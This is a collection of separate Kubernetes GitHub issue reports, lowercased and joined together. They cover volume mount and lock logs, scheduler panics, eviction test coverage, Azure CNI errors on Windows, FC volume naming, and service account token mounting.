15:21:15 gs-server-4081 kubelet: i1018 15:21:15.603764   10754 operation_generator.go:672  unmountvolume.teardown succeeded for volume \ kubernetes.io/rbd/4037ef87-b257-11e7-9ddb-00155d283404-mongo-node-2\   outervolumespecname: \ mongo-node-2\   pod \ 4037ef87-b257-11e7-9ddb-00155d283404\   uid: \ 4037ef87-b257-11e7-9ddb-00155d283404\  . innervolumespecname \ mongo-node-2\ . pluginname \ kubernetes.io/rbd\ , volumegidvalue \ \ \r oct 18 15:21:15 gs-server-4081 kubelet: i1018 15:21:15.703821   10754 reconciler.go:363  detached volume \ kubernetes.io/rbd/4037ef87-b257-11e7-9ddb-00155d283404-mongo-node-2\   spec.name: \ mongo-node-2\   devicepath: \ \ \r    \r \r and the log that lock removed:\r    \r oct 16 17:59:35 gs-server-4086 kubelet: i1016 17:59:35.198168   53479 rbd_util.go:141  lock list output \ \ \r oct 16 17:59:36 gs-server-4086 kernel: rbd0: unknown partition table\r oct 16 17:59:36 gs-server-4086 kernel: rbd: rbd0: added with size 0x1900000000\r oct 16 17:59:40 gs-server-4086 kernel: rbd0: unknown partition table\r oct 16 17:59:41 gs-server-4086 kernel: ext4-fs  rbd0 : mounted filesystem with ordered data mode. opts:  null \r oct 16 17:59:41 gs-server-4086 kubelet: i1016 17:59:41.264486   53479 operation_generator.go:597  mountvolume.setup succeeded for volume \ kubernetes.io/rbd/40254c2e-b257-11e7-9ddb-00155d283404-mongo-node-1\   spec.name: \ mongo-node-1\   pod \ 40254c2e-b257-11e7-9ddb-00155d283404\   uid: \ 40254c2e-b257-11e7-9ddb-00155d283404\  .\r oct 16 17:59:41 gs-server-4086 kernel: ext4-fs  rbd0 : re-mounted. opts:  null \r oct 16 17:59:41 gs-server-4086 kubelet: i1016 17:59:41.348630   53479 operation_generator.go:597  mountvolume.setup succeeded for volume \ kubernetes.io/rbd/40254c2e-b257-11e7-9ddb-00155d283404-mongo-node-1\   spec.name: \ mongo-node-1\   pod \ 40254c2e-b257-11e7-9ddb-00155d283404\   uid: \ 40254c2e-b257-11e7-9ddb-00155d283404\  .\r oct 16 18:01:26 gs-server-4086 kubelet: i1016 18:01:26.650647   53479 reconciler.go:201  unmountvolume operation started for volume \ kubernetes.io/rbd/40254c2e-b257-11e7-9ddb-00155d283404-mongo-node-1\   spec.name: \ mongo-node-1\   from pod \ 40254c2e-b257-11e7-9ddb-00155d283404\   uid: \ 40254c2e-b257-11e7-9ddb-00155d283404\  .\r ---------------------------------------------\r oct 16 18:01:27 gs-server-4086 kubelet: i1016 18:01:27.590104   53479 rbd_util.go:141  lock list output \ there is 1 exclusive lock on this image.\ locker         id                                address                \ client.1227411 kubelet_lock_magic_gs-server-4086 10.203.40.89:0/1016309 \ \ \r oct 16 18:01:28 gs-server-4086 kubelet: i1016 18:01:28.978137   53479 rbd_util.go:339  rbd: successfully unmap device /dev/rbd0 \r ---------------------------------------------\r oct 16 18:01:28 gs-server-4086 kubelet: i1016 18:01:28.978223   53479 operation_generator.go:672  unmountvolume.teardown succeeded for volume \ kubernetes.io/rbd/40254c2e-b257-11e7-9ddb-00155d283404-mongo-node-1\   outervolumespecname: \ mongo-node-1\   pod \ 40254c2e-b257-11e7-9ddb-00155d283404\   uid: \ 40254c2e-b257-11e7-9ddb-00155d283404\  . innervolumespecname \ mongo-node-1\ . pluginname \ kubernetes.io/rbd\ , volumegidvalue \ \ \r oct 16 18:01:29 gs-server-4086 kubelet: i1016 18:01:29.060518   53479 reconciler.go:363  detached volume \ kubernetes.io/rbd/40254c2e-b257-11e7-9ddb-00155d283404-mongo-node-1\   spec.name: \ mongo-node-1\   devicepath: \ \ \r \r    \r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.6.7\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : centos7\r - kernel  e.g.  uname -a  : 3.10.0-327.el7.x86_64\r - install tools:\r - others:\r

thanks to @vishh's awesome work, docker/docker 11428 went in with cgroup_parent support! with docker 1.6 we'll be able to make top-level containers for pods.

 \r   what happened  :\r unable to specify fstype from a csi pv.  the fstype is currently hardcoded to ext4.\r \r   what you expected to happen  :\r being able to specify fstype when creating a csi pv\r    \r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: manually-created-pv\r spec:\r   capacity:\r     storage: 5gi\r   accessmodes:\r     - readwriteonce\r   persistentvolumereclaimpolicy: retain\r   csi:\r     driver: com.example.team/csi-driver\r     volumehandle: existingvolumename\r     readonly: false\r     fstype: ext4\r

panic  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/61976/pull-kubernetes-integration/9691/  in the  testtaintnodebycondition  integration test in an seemingly unrelated pr https://github.com/kubernetes/kubernetes/pull/61976. \r \r    \r panic: runtime error: invalid memory address or nil pointer dereference\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x107\r /usr/local/go/src/runtime/panic.go:502 +0x229\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1/meta.go:133\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/scheduler/core/equivalence_cache.go:89 +0xc4\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/scheduler/core/generic_scheduler.go:512 +0x1de\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/scheduler/core/generic_scheduler.go:353 +0x19a\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/util/workqueue/parallelizer.go:47 +0x96\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/util/workqueue/parallelizer.go:43 +0x10b\r    \r \r @kubernetes/sig-scheduling-bugs

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line:\r >\r >  >  \r   what happened  :\r after analyzing conformance and non-conformance e2e tests execution, it is observed that -\r 1. pod specific evict api endpoints are covered by non-conformance e2e tests and have no coverage under conformance test.\r \r pod evict e2e tests  non-conformance | github links\r -- | --\r  sig-apps  disruptioncontroller evictions: enough pods, absolute => should allow an eviction |  e2e/apps/disruption.go l147  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/apps/disruption.go l147 \r  sig-apps  disruptioncontroller evictions: too few pods, absolute => should not allow an eviction\r  sig-apps  disruptioncontroller evictions: maxunavailable deny evictions, integer => should not allow an eviction\r  sig-apps  disruptioncontroller evictions: no pdb => should allow an eviction\r  sig-apps  disruptioncontroller evictions: maxunavailable allow single eviction, percentage => should allow an eviction\r  sig-apps  disruptioncontroller evictions: enough pods, replicaset, percentage => should allow an eviction\r  sig-apps  disruptioncontroller evictions: too few pods, replicaset, percentage => should not allow an eviction\r \r 2.  different eviction cases  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/apps/disruption.go l77  are effectively getting covered by non-conformance e2e test wrt.   pod disruption budgets  \r \r   what you expected to happen  :\r which different approaches should we consider to promote pod eviction for conformance? e.g.\r 1. are these e2e test cases, efficient enough to be considered as candidate for conformance and promotion?\r 2. incase, eligible for conformance, should we consider every eviction cases seperately for conformance  replace it   with conformanceit     or alternatively  https://gist.github.com/mgdevstack/d0cf9635eee47c7bcfca7f7528deb2f3  should we include all these cases under different by   statements and enclose them as single conformance test?\r 3. apart from pdb cases, which more eviction scenarios can be included to create new e2e test?\r   e.g.\r   - kubectl drain : interaction with eviction api\r   - which more k8s workflows and scenarios can be drafted which uses eviction in background during pods management.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-alpha.0.1047+3abba251605909-dirty\ , gitcommit:\ 3abba25160590921fec61236ba012a8bbd757d6c\ , gittreestate:\ dirty\ , builddate:\ 2018-06-18t07:29:01z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-alpha.0.1047+3abba251605909-dirty\ , gitcommit:\ 3abba25160590921fec61236ba012a8bbd757d6c\ , gittreestate:\ dirty\ , builddate:\ 2018-06-18t07:29:01z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r cc @dchen1107 @aishsundar

>  \r   what happened  :\r \r i read the configuration 'replicas: 2' in the specification for a deployment and it caused confusion.\r \r   what you expected to happen  :\r \r i expected there to be 3 in the set because a replica is a duplication of something. for example, if i have one replica of myself  because i have genetically cloned myself  then there are two of me. this yaml key should clearly indicate this is the total number of members in the set. a better name could be  replicasetmembers .\r \r   environment  :\r - kubernetes version  use  kubectl version  : all\r \r note: sig label not added because you have no group for user experience. i recommend starting one.

\r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r \r  kubectl create … \r  kubectl delete pod … \r look at  c:\\k\\kubelet.err.log \r \r    none\r i0920 23:42:25.605029    3944 fake_cpu_manager.go:45   fake cpumanager  removecontainer  container id: 87f1d5ee8a039f37dc83b240455831513e4dbd399513ac232336d7155a79a838 \r 2018/09/20 23:42:31  telemetry  going to send telemetry report to hostnetagent http://169.254.169.254/machine/plugins?comp=netagent&type=cnireport\r 2018/09/20 23:42:31  telemetry  &{isnewinstance:false cnisucceeded:true name:cni osversion:v1.0.12-rc3-9-ga386846-dirty errormessage: context:azurecni subcontext: vnetaddressspace:   orchestratordetails:0xc04210abd0 osdetails:0xc04211e050 systemdetails:0xc04203e240 interfacedetails:0xc0420f4380 bridgedetails:<nil> metadata:{location:westus2 vmname:14002k8s9000 offer:windowsserversemiannual ostype:windows placementgroupid: platformfaultdomain:0 platformupdatedomain:0 publisher:microsoftwindowsserver resourcegroupname:plang0920rg sku:datacenter-core-1803-with-containers-smalldisk subscriptionid:c31ad117-e07c-4388-9148-387a2ba72135 tags:acsengineversion:v0.22.1;creationsource:acsengine-14002k8s9000;orchestrator:kubernetes:1.12.0-rc.1;poolname:windowspool;resourcenamesuffix:14002 osversion:1803.0.20180815 vmid:312765d9-583b-45fd-8c4a-50bbd9db2ea6 vmsize:standard_d2_v3 kernelversion:}}\r 2018/09/20 23:42:31  telemetry  telemetry sent with status code 200\r 2018/09/20 23:42:31  telemetry  setreportstate succeeded\r 2018/09/20 23:42:35  telemetry  going to send telemetry report to hostnetagent http://169.254.169.254/machine/plugins?comp=netagent&type=cnireport\r 2018/09/20 23:42:35  telemetry  &{isnewinstance:false cnisucceeded:false name:cni osversion:v1.0.12-rc3-9-ga386846-dirty errormessage:failed to create endpoint: a compute system with the specified identifier does not exist. context:azurecni subcontext: vnetaddressspace:   orchestratordetails:0xc04210b6e0 osdetails:0xc042132460 systemdetails:0xc04217cf40 interfacedetails:0xc0420f49a0 bridgedetails:<nil> metadata:{location:westus2 vmname:14002k8s9000 offer:windowsserversemiannual ostype:windows placementgroupid: platformfaultdomain:0 platformupdatedomain:0 publisher:microsoftwindowsserver resourcegroupname:plang0920rg sku:datacenter-core-1803-with-containers-smalldisk subscriptionid:c31ad117-e07c-4388-9148-387a2ba72135 tags:acsengineversion:v0.22.1;creationsource:acsengine-14002k8s9000;orchestrator:kubernetes:1.12.0-rc.1;poolname:windowspool;resourcenamesuffix:14002 osversion:1803.0.20180815 vmid:312765d9-583b-45fd-8c4a-50bbd9db2ea6 vmsize:standard_d2_v3 kernelversion:}}\r 2018/09/20 23:42:35  telemetry  telemetry sent with status code 200\r 2018/09/20 23:42:35  telemetry  setreportstate succeeded\r e0920 23:42:35.038948    3944 cni.go:310  error adding network: failed to create endpoint: a compute system with the specified identifier does not exist.\r e0920 23:42:35.038948    3944 cni_windows.go:49  error while adding to cni network: failed to create endpoint: a compute system with the specified identifier does not exist.\r w0920 23:42:35.038948    3944 docker_sandbox.go:375  failed to read pod ip from plugin/docker: networkplugin cni failed on the status hook for pod \ iis-1803-687cdddf9f-tkfdt_default\ : failed to create endpoint: a compute system with the specified identifier does not exist.\r i0920 23:42:35.061923    3944 fake_cpu_manager.go:45   fake cpumanager  removecontainer  container id: 87f1d5ee8a039f37dc83b240455831513e4dbd399513ac232336d7155a79a838 \r i0920 23:42:36.183070    3944 reconciler.go:181  operationexecutor.unmountvolume started for volume \ default-token-5tptb\   uniquename: \ kubernetes.io/secret/e3144f25-bd2d-11e8-9ef2-000d3a0668dc-default-token-5tptb\   pod \ e3144f25-bd2d-11e8-9ef2-000d3a0668dc\   uid: \ e3144f25-bd2d-11e8-9ef2-000d3a0668dc\  \r i0920 23:42:36.186083    3944 operation_generator.go:698  unmountvolume.teardown succeeded for volume \ kubernetes.io/secret/e3144f25-bd2d-11e8-9ef2-000d3a0668dc-default-token-5tptb\   outervolumespecname: \ default-token-5tptb\   pod \ e3144f25-bd2d-11e8-9ef2-000d3a0668dc\   uid: \ e3144f25-bd2d-11e8-9ef2-000d3a0668dc\  . innervolumespecname \ default-token-5tptb\ . pluginname \ kubernetes.io/secret\ , volumegidvalue \ \ \r i0920 23:42:36.283476    3944 reconciler.go:301  volume detached for volume \ default-token-5tptb\   uniquename: \ kubernetes.io/secret/e3144f25-bd2d-11e8-9ef2-000d3a0668dc-default-token-5tptb\   on node \ 14002k8s9000\  devicepath \ \ \r w0920 23:42:42.672982    3944 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r    \r \r   what you expected to happen  :\r \r no errors when pod terminated\r \r   anything else we need to know?  :\r \r  \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.0-rc.1\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : windows server version 1803\r - kernel  e.g.  uname -a  : 10.0.17134.228\r - install tools: acs-engine v0.22.1\r \r azure-cni azure-vnet-cni-windows-amd64-v1.0.12-rc3-9-ga386846-dirty  built with fix for bugs 242/232

direct access to docker circumvents auth. we may need to allow it, but that should be specified as part of cluster configuration.   irc discussion  https://botbot.me/freenode/google-containers/2014-10-03/?msg=22824001&page=6

providerrequiresnetworkingconfiguration   only applies to gce and only when the flannel experimental overlay is disabled.  unfortunately, we run openshift-sdn  which does use an overlay  on gce too, so we hit this check and nodes remain unschedulable, because the route controller is not required and thus isn't running to remove the condition.  we're hacking around this now in https://github.com/openshift/origin/pull/10545 but there should be some mechanism for network plugins to indicate back to kubelet that networkunavailable should not be set on kubelet start.  a simpler way would be to return 'false' if kubelet.networkplugin != nil, but i'm not sure if there are existing plugins in the wild that depend on gce routes and thus depend on the networkunavailable condition that the route controller clears.

looking into profiles of scheduler, there shows a bunch of things that we are doing unnecessarily.\r in particular, instead of computing the same information for a given node multiple times, we should cache it as part of nodeinfo:\r https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/schedulercache/node_info.go l32\r \r the information that should be cached and reuse later include:\r -  x  node taints:\r   https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/algorithm/predicates/predicates.go l1054\r -  x  node conditions: disk/memory/inode pressure\r   https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/algorithm/predicates/predicates.go l1123\r   https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/algorithm/predicates/predicates.go l1141\r   https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/algorithm/predicates/predicates.go l1159\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-test-go/1857/ failed: testconfigmapcontroller {configmap}      <autogenerated>:10: \r                        \r\terror trace:\tconfigmap_controller_test.go:126 \t\r\terror:\t\tshould be true \t

documenting the list of known issues with federated deployments:\r \r -     enable federation-apiserver kubectl tests for deployments: https://github.com/kubernetes/kubernetes/issues/39985.\r -     figure out a path to ga for federatedreplicasetpreferences.\r -     verify that rebalancing works and add a test for that: https://github.com/kubernetes/kubernetes/issues/33312\r -     document how rebalancing works: https://github.com/kubernetes/kubernetes.github.io/issues/1362\r -     handle rollbacks: https://github.com/kubernetes/kubernetes/issues/37570\r -     update to use apps group version: https://github.com/kubernetes/kubernetes/issues/52123

this is a sub issue for  39559\r \r cc @timstclair can you please assign this to me? thanks.\r \r for more detail, refer to https://docs.google.com/document/d/1xa3ixmqg7llqwcb4cv3kybflxerzysmob1xdcw6kqvc/edit

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-updown/9490/ failed: diffresources {e2e.go}      error: 2 leaked resources   routes   +default-route-6840fd825727c8b7  bootstrap-e2e  0.0.0.0/0      default-internet-gateway  1000   routes   +default-route-a123a4f45cde14d0  bootstrap-e2e  10.240.0.0/16                            1000       previous issues for this test:  33373  33416  34060  40437  40454

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-autoscaling-migs/4034/ failed:  k8s.io  cluster size autoscaling  slow  should correctly scale down after a node is not needed  feature:clustersizeautoscalingscaledown  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:296 expected error:     < errors.errorstring | 0xc4211c4050>: {         s: \ timeout waiting 5m0s for appropriate cluster size\ ,     }     timeout waiting 5m0s for appropriate cluster size not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:291       previous issues for this test:  33891

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : v1.6.2\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : \r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r -   kernel    e.g.  uname -a  :\r  linux k8s-master 3.10.0-327.10.1.el7.x86_64  1 smp tue feb 16 17:03:50 utc 2016 x86_64 x86_64 x86_64 gnu/linux \r -   install tools  :\r terraform and the saltbase installer in this repository\r -   others  :\r \r   what happened  :\r the saltbase installation fails to complete successfully on centos7:\r    \r     id: ntp-service\r     function: service.running\r         name: ntp\r       result: false\r      comment: the named service ntp is not available\r      started: 14:26:06.942033\r     duration: 14.767 ms\r      changes:\r    \r \r   what you expected to happen  :\r the salt installer would detect that it is installing on centos 7 and check for  ntpd.service  instead.\r \r   how to reproduce it    as minimally and precisely as possible :\r create a salt master and attempt to provision either a kubernetes master or pool node.\r \r   anything else we need to know  :\r if this issue is accepted i am happy to submit a patch to fix it as per your contributing guidelines.\r

consider an app that is exposed publicly and for some reason needs to be able to modify cluster state  create pods, modify secrets or whatever . the more complex the app, the higher the changes of it including a vulnerability, which may expose the service account's token. \r \r splitting the part that talks to the k8s api server into a separate sidecar container, having the app communicate to the sidecar through localhost and mounting the service account token only into the sidecar would make the whole system much more secure. \r \r afaict it is currently not possible to toggle automouting for individual containers, just for the pod as a whole, although i think i remember someone mentioning somewhere that if you mount some other volume at the serviceaccount dir, the token won't be mounted.\r \r

daemonset creates controllerrevisions with controller ref to itself. when the daemonset controller is deleted non-cascadingly, its controller revision is still deleted by gc controller. \r \r cc @kow3ns \r \r /assign @caesarxuchao

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug\r \r   \r   what happened  :\r \r currently fc volume plugin supports two parameters \ targetwwns\  and \ lun\  to specify volume from the /dev/disk/by-path/ directory. however as mentioned on the red hat's persistent naming documentation, devices referenced by  by-path might be changed.\r \r this means that volume for pod a is potentially used by pod b on the same node and this causes security problem and also deta destruction. \r \r https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/storage_administration_guide/persistent_naming.html\r \r    \r it is generally not appropriate for applications to use these path-based names. this is\r because the storage device these paths reference may change, potentially causing incorrect\r data to be written to the device. path-based names are also not appropriate for multipath\r devices, because the path-based names may be mistaken for separate storage devices, leading\r to uncoordinated access and unintended modifications of the data.\r    \r \r also lun format can be contained hex value, but current lun of fc plugin only permits integer value. therefore lun is restricted the value between 0 and 255 inclusive.\r \r    \r ls -l /dev/disk/by-path/\r lrwxrwxrwx. 1 root root  9 jul  6 05:12 pci-0000:05:00.0-fc-0xxxxxxxxxxxxxxxxx-lun-1 -> ../../sdc\r lrwxrwxrwx. 1 root root  9 jul  6 05:14 pci-0000:05:00.0-fc-0xxxxxxxxxxxxxxxxx-lun-10 -> ../../sdd\r lrwxrwxrwx. 1 root root  9 jul  6 05:25 pci-0000:05:00.0-fc-0xxxxxxxxxxxxxxxxx-lun-20 -> ../../sde\r lrwxrwxrwx. 1 root root  9 jul  6 05:51 pci-0000:05:00.0-fc-0xxxxxxxxxxxxxxxxx-lun-255 -> ../../sdi\r lrwxrwxrwx. 1 root root  9 jul  6 05:50 pci-0000:05:00.0-fc-0xxxxxxxxxxxxxxxxx-lun-0x0100000000000000 -> ../../sdh    lun-> 256 \r lrwxrwxrwx. 1 root root  9 jul  6 05:40 pci-0000:05:00.0-fc-0xxxxxxxxxxxxxxxxx-lun-0x03e8000000000000 -> ../../sdf    lun->1000 \r lrwxrwxrwx. 1 root root  9 jul  6 05:45 pci-0000:05:00.0-fc-0xxxxxxxxxxxxxxxxx-lun-0x07d0000000000000 -> ../../sdg    lun->2000 \r    \r \r or\r \r lun specification for fc persistent volumes  45024\r    \r for example, the /dev/disk/by-path for one of these devices looks like:\r ccw-0.0.50c0-fc-0x500507680b2281fb-lun-0x027b000000000000 -> ../../sda\r    \r \r \r \r   what you expected to happen  :\r \r instead of using \ targetwwns\  and \ lun\ , \ wwid\  is recommended to be used in reliably identifying devices.  see following documents \r \r wwid can be obtained by scsi inquiry page 0x83 as mentioned on the following documents. the symlink including wwid for /dev/sdx is exposed under the /dev/disk/by-id/ directory. therefore we can use \ by-id\  instead of \ by-path\ .\r \r - https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/storage_administration_guide/persistent_naming.html persistent_naming-wwid\r    \r this identifier can be obtained by issuing a scsi inquiry to retrieve the device identification\r vital product data  page 0x83  or unit serial number  page 0x80 . the mappings from these\r wwids to the current /dev/sd names can be seen in the symlinks maintained in the\r /dev/disk/by-id/ directory.\r    \r - https://pubs.vmware.com/vsphere-50/index.jsp?topic=%2fcom.vmware.vsphere.storage.doc_50%2fguid-a36810f4-00ec-4ea8-a242-2a0dbbf56731.html\r - https://msdn.microsoft.com/en-us/library/windows/desktop/aa384634 v=vs.85 .aspx\r \r   anything else we need to know?  :\r \r i'll push a pr to support  \ wwid\  for fc volume plugin. current target version is v1.8.\r - todo\r -      support \ wwid\  in fcvolumesource  api change \r -      support \ wwid\  in fc volume plugin\r -      deprecate current \ targetwwns\  and \ lun\  in the future  discussion needed

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r pod got stuck in pending state forever when failed to bind to host. \r \r   what you expected to happen  :\r \r for it to be rescheduled on another host\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r not always reproducible. but simply created an rc replicas=2 on a 3 host setup, and one of the pods got stuck in pending state for a while. following error messages were found in the scheduler logs:\r \r    \r 7/20/2017 8:30:40 ame0720 15:30:40.435703       1 scheduler.go:282  internal error binding pod:  scheduler cache forgetpod failed: pod test-677550-rc-edit-namespace/nginx-jvn09 state was assumed on a different node \r 7/20/2017 8:31:11 amw0720 15:31:11.119885       1 cache.go:371  pod test-677550-rc-edit-namespace/nginx-jvn09 expired\r    \r \r describe pod output:\r \r \r    \r nginx-jvn09   0/1       pending   0          2h\r > kubectl describe pod nginx-jvn09 --namespace=test-677550-rc-edit-namespace\r name:           nginx-jvn09\r namespace:      test-677550-rc-edit-namespace\r node:           /\r labels:         name=nginx\r annotations:    kubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicatio\r ncontroller\ ,\ namespace\ :\ test-677550-rc-edit-namespace\ ,\ name\ :\ nginx\ ,\ uid\ :\ 6313354d-6d60-11e...\r status:         pending\r ip:\r controllers:    replicationcontroller/nginx\r containers:\r   nginx:\r     image:              nginx\r     port:               80/tcp\r     environment:        <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-vz8x6  ro \r volumes:\r   default-token-vz8x6:\r     type:       secret  a volume populated by a secret \r     secretname: default-token-vz8x6\r     optional:   false\r qos class:      besteffort\r node-selectors: <none>\r tolerations:    node.alpha.kubernetes.io/notready=:exists:noexecute for 300s\r                 node.alpha.kubernetes.io/unreachable=:exists:noexecute for 300s\r events:         <none>\r    \r \r rc yml:\r \r    \r apiversion: v1\r kind: replicationcontroller\r metadata:\r   name: nginx\r spec:\r   replicas: 2\r   selector:\r     name: nginx\r   template:\r     metadata:\r       labels:\r         name: nginx\r     spec:\r       containers:\r         - name: nginx\r           image: nginx\r           ports:\r             - containerport: 80\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.1\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : rhel7, docker native 1.12.6\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r \r   what happened  : i upgraded my gke cluster to 1.7.x and lost a bunch of helpful labels from the prometheus node_exporter\r \r   what you expected to happen  : i expected my metrics to continue working as before\r \r   how to reproduce it  as minimally and precisely as possible   :\r install prometheus node_exporter on gke 1.7.x cluster and query for node_cpu\r \r   here's how the data looked before update:  \r    \r node_cpu{beta_kubernetes_io_arch=\ amd64\ ,beta_kubernetes_io_instance_type=\ n1-standard-2\ ,beta_kubernetes_io_os=\ linux\ ,cloud_google_com_gke_nodepool=\ default-pool\ ,cpu=\ cpu1\ ,failure_domain_beta_kubernetes_io_region=\ europe-west1\ ,failure_domain_beta_kubernetes_io_zone=\ europe-west1-b\ ,instance=\ my-cluster-default-pool-3cbb3136-22jh\ ,job=\ kubernetes-node-exporter\ ,kubernetes_io_hostname=\ my-cluster-default-pool-3cbb3136-22jh\ ,mode=\ system\ }\r    \r \r   here's how the data looks after update:  \r    \r node_cpu{app=\ node-exporter\ ,cpu=\ cpu1\ ,instance=\ 10.128.0.25:9100\ ,job=\ kubernetes-service-endpoints\ ,kubernetes_name=\ node-exporter\ ,mode=\ system\ ,name=\ node-exporter\ }\r    \r \r \r   environment  :\r - kubernetes version: 1.7.5\r - cloud provider or hardware configuration  : google cloud  gce \r \r   reference to issue on  prometheus github  closed :   https://github.com/prometheus/node_exporter/issues/678\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r some typos in api/types\r \r   what you expected to happen  :\r should fix them\r \r   how to reproduce it  as minimally and precisely as possible   :\r

is this a bug report or feature request?  :\r  \r   what happened  :\r \r mirror pods may be rejected by the podsecuritypolicy admission controller.\r \r   what you expected to happen  :\r \r mirror pods are a reflection of a pod being run directly by the kubelet, meaning that the pod will be run regardless of the admission decision.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r bring up a cluster with the podsecuritypolicy admission controller enabled  see https://github.com/kubernetes/kubernetes/pull/52367 . note that the static pods are \ missing\   e.g.  kubectly get pods -n kube-system kube-controller-manager-${master_name}  .\r \r /cc @liggitt

